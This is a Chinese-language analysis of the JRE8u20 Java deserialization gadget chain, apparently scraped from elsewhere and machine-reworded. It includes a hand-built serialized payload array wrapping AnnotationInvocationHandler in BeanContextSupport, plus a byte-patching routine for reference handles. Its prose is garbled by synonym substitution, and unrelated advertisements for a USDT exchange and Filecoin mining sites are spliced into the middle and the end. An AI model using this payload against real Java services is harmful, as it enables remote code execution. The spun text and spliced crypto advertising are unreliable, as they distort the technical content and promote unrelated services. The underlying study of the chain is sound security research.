欢迎访问联博统计,联博统计是用以太坊区块链的高度为数据统计!

filecoin收益(www.ipfs8.vip):JRE8u20 反序列化行使链及序列化流组织手艺剖析

近期泛起了一些需要基于序列化数据举行修改加以行使的破绽,例如Weblogic的CVE-2021-2211(基于JDK8u21)、OFBiz的CVE-2021-30128,在组织POC时都需要直接对序列化数据举行修改,而JDK8u20这条链无疑是一个异常好的用来学习这方面知识的例子,因此在诸位先进的文章指引下,再详细的纪录一下这条行使链的一些细节和思绪。

0x01 序列化相关知识

序列化数据结构

以这段代码为例

AuthClass authClass = new AuthClass("123456");
  ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./authClass.bin"));
  oos.writeObject(authClass);
  oos.writeObject(authClass);
  oos.close();

将统一个工具执行两次writeObject,序列化数据经由SerializationDumper处置如下,其中new_handle的值是SerializationDumper标注出的,现实并不存在。

序列化数据内容依次如下:

  • STREAM_MAGIC 数据头 0xaced
  • STREAM_VERSION 序列化数据版本呢 0x0005
  • TC_OBJECT 0x73 示意接下来的序列化数据是一个object,用0x73示意,除了Object,另有TC_REFERENCE、TC_STRING等,详细可见java.io.ObjectStreamConstants,划分示意接下来差其余数据类型,对应差其余处置方式。
    • TC_CLASSDESC 0x72类的形貌符 标识接下来是类的一些属性以及信息等等信息
      • Length 0x00 30 类名长度
      • Value 0x79736f73657269616c2e7061796c6f6164732e7765626c6f6769635f686967682e74657374243141757468436c617373 类名
      • serialVersionUID 0x00 00 00 00 00 00 00 64序列化数据ID
      • newHandle 0x00 7e 00 00 这个是SerializationDumper手动添加的,现实的序列化数据中不存在这个值,便于后续盘算REFERENCE
      • classDescFlags 0x02 类形貌符符号,一个单元符号符
      • fieldCount 0x0001 工具的成员属性的数目
      • Fields 工具的成员属性(包罗了属性名及属性类型)
        • Object 0x4c 标识成员类的种类,除了L(0x4c)另有B(Byte)、C(char)等。
        • Length 0x0008 成员名长度
        • Value 0x70617373776f7264 成员名
        • TC_STRING 0x74成员类型
          • newHandle 0x00 7e 00 01 第二个handle
          • Length 0x00 12 长度
          • Value 0x4c6a6176612f6c616e672f537472696e673b
      • TC_ENDBLOCKDATA 0x78 标识一个类竣事
      • superClassDesc 0x70父类的类形貌
    • classdata 类的成员变量的值
      • TC_STRING 0x74 字符串类型
      • newHandle 0x00 7e 00 03 值对应的handle
      • Value 0x313233343536 成员变量的值
    • TC_REFERENCE 0x71 第二个工具,是个reference类型
      • Handle 0x00 7e 00 02 handle的地址

一共泛起了4个handle,用readObject读取这四个handle标识的工具

0x007e0000 ysoserial.payloads.weblogic_high.test$1AuthClass.class 的ObjectStreamClass工具,对应TC_CLASSDESC的内容

0x007e0001 char[]工具,标识成员属性(password)的类型

0x007e0002 ysoserial.payloads.weblogic_high.test$1AuthClass.class工具

0x007e0003 ysoserial.payloads.weblogic_high.test$1AuthClass.passsword的值

通过reference,可以实现在readObject时,反序列化随便已经序列化过的工具,以及它们的一些字段。

反序列化历程

在一个类被反序列化的历程中,会履历defaultReadFields历程。用来初始化序列化数据中的Fields字段中的内容。在hashSet的反序列化历程中,它是不存在任何field的,因此不会反序列化。然则可以通过在序列化的数据中加入field内容,从而迫使它在readFields时去反序列化类。并放在类形貌符的fields字段中。

0x02 破绽原理

jdk8u20这条链是jdk7u21的绕过。jdk7u21的补丁中,在AnnotationInvocationHandler的readObject方式中,增添了对署理类的判断,要求必须为annotation类型,否则会报错。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {*
        *var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

虽然增添了检测,然则检测泛起在defaultReadObject之前,在报错之前AnnotationInvocationHandler工具照样被正常还原了。

而jdk7u21的行使中不需要用到AnnotationInvocationHandler后需的操作,只需要这个工具被准确还原即可。因此现在的思绪是,通过一个包裹类,它的readObject方式中会挪用readObject方式, 而且catch了异常,使得AnnotationInvocationHandler被顺遂反序列化,并在后续被用上。

,

USDT交易所

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,

JDK7u21的行使链如下,划分反序列化两个类,然后在put的方式中触发proxy的invoke。补丁打在了

第二个工具—handler的反序列化历程中。

JDK8u20这条链的思绪是增添一个不存在的field字段,这个字段中是一个序列化类,它包裹住AnnotationInvocationHandler,catch住AnnotationInvocationHandler反序列化历程中的异常,而且在后续的反序列化中不报错,它会被正常反序列化。然后在需要AnnotationInvocationHandler的时刻,替换为之前field反序列化中天生的AnnotationInvocationHandler的reference。

这个field字段可以加在两个地方,一个是HashSet的field字段,另一个是hashSet的成员的field。jdk8的行使链使用的包裹类为java.beans.beancontext.BeanContextSupport类。

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject();

        initialize();

        bcsPreDeserializationHook(ois);

        if (serializable > 0 && this.equals(getBeanContextPeer()))
            readChildren(ois);

        deserialize(ois, bcmListeners = new ArrayList(1));
    }
}
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }


            synchronized(child) {
                BeanContextChild bcc = null;

                try {
                    bcc = (BeanContextChild)child;
                } catch (ClassCastException cce) {
                    // do nothing;
                }

                if (bcc != null) {
                    try {
                        bcc.setBeanContext(getBeanContextPeer());

                       bcc.addPropertyChangeListener("beanContext", childPCL);
                       bcc.addVetoableChangeListener("beanContext", childVCL);

                    } catch (PropertyVetoException pve) {
                        continue;
                    }
                }

                childDeserializedHook(child, bscc);
            }
        }
    }

可以看到在readObject方式中挪用了ois.defaultReadObject();并接着挪用readChildren方式处置流,这个方式中举行了readObject,而且catch了异常。

对照jdk7u21天生的序列化数据举行组织,同时参考这条链的发现者的思绪举行组织,https://github.com/pwntester/JRE8u20_RCE_Gadget/blob/master/src/main/java/ExploitGenerator.java,在组织中需要注重一个点:AnnotationInvocationHandler有一个成员属性,memberValues,是一个map类型,在jdk7u21中,是这样组织的,

HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates);

但在jdk8u20中,pwntester是这样组织的

HashMap map = new HashMap();
map.put("f5a5a608", "f5a5a608");

初看时很新鲜,这条链这样也能触发吗?经由现实的组织后明白了作者的用意。这条链在触发中确实需要这个map的值为templates工具,然则若是直接设成templates,由于这个templates已经在HashSet中put过一次,因此会在序列化数据中留下大量的TC_REFERENCE引用,还会泛起多次引用等情形,导致组织时很乱。然则像作者这样设置成和key相同的值时可以准确触发吗?实在是不能的,然则由于在put时设置为键和值相同的值,序列化数据中值被序列化时不会直接存储,而是存储成一个TC_REFERENCE,指向key,然后作者修改了这个引用,修改为指向之前hashSet在put时天生templates工具,从而阻止了大量的TC_REFERENCE修改。因此作者选择在初始化第二个类的时刻才放入恶意类到field中。最终天生的数据,以及对引用的修改如下,跟原作者略有差异。

Object[]  ser =new Object[]{
            STREAM_MAGIC,
            STREAM_VERSION,

             //linkedHashset
            TC_OBJECT,
            TC_CLASSDESC,
             LinkedHashSet.class.getName(),
             -2851667679971038690L,//serID
             (byte)SC_SERIALIZABLE,//classDescFlags
             (short)0,
             TC_ENDBLOCKDATA,

             TC_CLASSDESC,
             "java.util.HashSet",-5024744406713321676L,
             (byte)(SC_SERIALIZABLE|SC_WRITE_METHOD),
             (short)0,//fieldCount

             TC_ENDBLOCKDATA,
             TC_NULL,

             //hashSet readObject
             TC_BLOCKDATA,
             (byte) 12,
             (short)0,

             (short)16,

             (short)16192,(short)0,(short)0,
             (short)2,

             //first
             templates,

            //second
             TC_OBJECT,
             TC_PROXYCLASSDESC,
             1,
             Templates.class.getName(),
             TC_ENDBLOCKDATA,
             TC_CLASSDESC,
             Proxy.class.getName(),
             -2222568056686623797L,
             SC_SERIALIZABLE,
             (short)2,

             //fake
             (byte)'L',"fake", TC_STRING,"Ljava/beans/beancontext/BeanContextSupport;",
             (byte)'L',"h",TC_STRING,"Ljava/lang/reflectInvocationHandler;",
             TC_ENDBLOCKDATA,TC_NULL,

             //classData
             TC_OBJECT,
             TC_CLASSDESC,
             BeanContextSupport.class.getName(),
             -4879613978649577204L,
             (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD),
             (short)1,
             (byte)'I',"serializable",
             TC_ENDBLOCKDATA,

             //super class
             TC_CLASSDESC,
             BeanContextChildSupport.class.getName(),
             6328947014421475877L,
             SC_SERIALIZABLE,
             (short)1,
             (byte)'L',"beanContextChildPeer",
             TC_STRING,"Ljava/beans/beancontext/BeanContextChild;",
             TC_ENDBLOCKDATA,
             TC_NULL,

             //classdata
             TC_REFERENCE,baseWireHandle+25, //beanContextChildPeer
             1, //serializable

             //readChildren
             TC_OBJECT,
             TC_CLASSDESC,
             "sun.reflect.annotation.AnnotationInvocationHandler",
             6182022883658399397L,       // serialVersionUID
             (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
             (short) 2,                  // field count
             (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",   // memberValues field
             (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",         // type field
             TC_ENDBLOCKDATA,
             TC_NULL,                    // no superclass

             map,                        // memberValues field value
             Templates.class,            // type field value

             //deserialize
             TC_BLOCKDATA,
             (byte) 4,                   // block length
             0,                          // no BeanContextSupport.bcmListenes
             TC_ENDBLOCKDATA,

             //h

             TC_REFERENCE,baseWireHandle+29,
             TC_ENDBLOCKDATA

        };

        public static byte[] patch(byte[] bytes) {
    for (int i = 0; i < bytes.length; i++) {
        if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) {
            i = i + 4;
            System.out.print("Adjusting reference from: " + bytes[i]);
            if (bytes[i] == 1) bytes[i] = 4; //
            if (bytes[i] == 0x0a) bytes[i]=0x0d; //templates
            if (bytes[i] == 2) bytes[i]= 9;

            System.out.println(" to: " + bytes[i]);
        }
    }
    return bytes;
}

QAX的一位大佬写了一个SerialWriter项目,实现了面向工具天生序列化数据的方式,无需手动盘算Reference地址。地址:https://github.com/QAX-A-Team/SerialWriter 。

0x03 参考及引用

Java 8u20反序列化破绽剖析 (qq.com)

JRE8u20反序列化破绽剖析

【手艺分享】深度 - Java 反序列化 Payload 之 JRE8u20

pwntester/JRE8u20_RCE_Gadget: JRE8u20_RCE_Gadget (github.com)

https://github.com/QAX-A-Team/SerialWriter

逆熵科技

逆熵科技官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。鲸鱼矿池官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

上一篇:伊春租房信息:电子竞技专业进中传和北大,是电竞行业的支柱照样毒药?

上一篇:若是生命只剩一个月,能够怎么吃?

猜你喜欢

已有1条评论

最新文章
热门文章
热评文章
随机文章
热门标签